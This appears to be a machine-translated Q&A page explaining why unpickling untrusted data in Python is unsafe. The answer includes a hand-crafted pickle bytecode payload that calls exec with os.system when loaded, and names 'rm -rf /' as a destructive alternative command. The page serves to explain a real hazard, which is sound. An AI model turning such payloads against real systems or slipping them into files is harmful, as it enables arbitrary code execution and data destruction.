python - 不受信任的泡菜来源
问题描述
来自 python 文档pickle
:
警告 pickle 模块不安全。只解开您信任的数据。
什么是酸洗然后取消酸洗会做恶意的数据的例子?我只使用过 pickle 来保存不一定 json 编码良好的对象(日期、十进制等),所以我对它没有太多经验,或者它除了作为“更简单的 json”编码器之外还有什么能力。
可以用它来做一些恶意的例子是什么?
解决方案
就像 Chase 说的,函数可以通过 unpickling 来执行。根据此来源:https ://intoli.com/blog/dangerous-pickles/ ,腌制对象实际上存储为在打开时解释的字节码指令(类似于 Python 本身)。通过编写 pickle 字节码,可以制作一个 pickle“程序”来做任何事情。
在这里,我制作了一个 pickle 程序来运行 bash 命令say "malicious code"
,但您也可以运行类似rm -rf /
的命令。
我将以下字节码保存到文件中:
c__builtin__
exec
(Vimport os; os.system('say "malicious code"')
tR.
然后解开它:
import pickle
loadfile = open('malicious', 'rb')
data = pickle.load(loadfile)
我立即听到了一些“恶意代码”。
推荐阅读
- java - Groovy 比较除第一项之外的两个集合
- jmeter - 在 jmeter 中运行记录的脚本以进行 aws cognito 登录时出现问题
- selenium-webdriver - 用美汤提取一些基础数据
- spring-boot - 如何使执行器与 webflux RouterFunction 一起工作
- kubernetes - 无法使用邮递员在 kubernetes 中修补工作
- google-cloud-automl - 在 AUTOML 表中训练模型时出现内部错误
- c# - 重新连接 SignalR 的最佳方法?
- java - 如何使用 Java Stream API 解析带有字符串的数组
- c# - 将循环从 Python 重写为 C#,出了什么问题?
- python-3.x - 合并具有几乎相同字段的行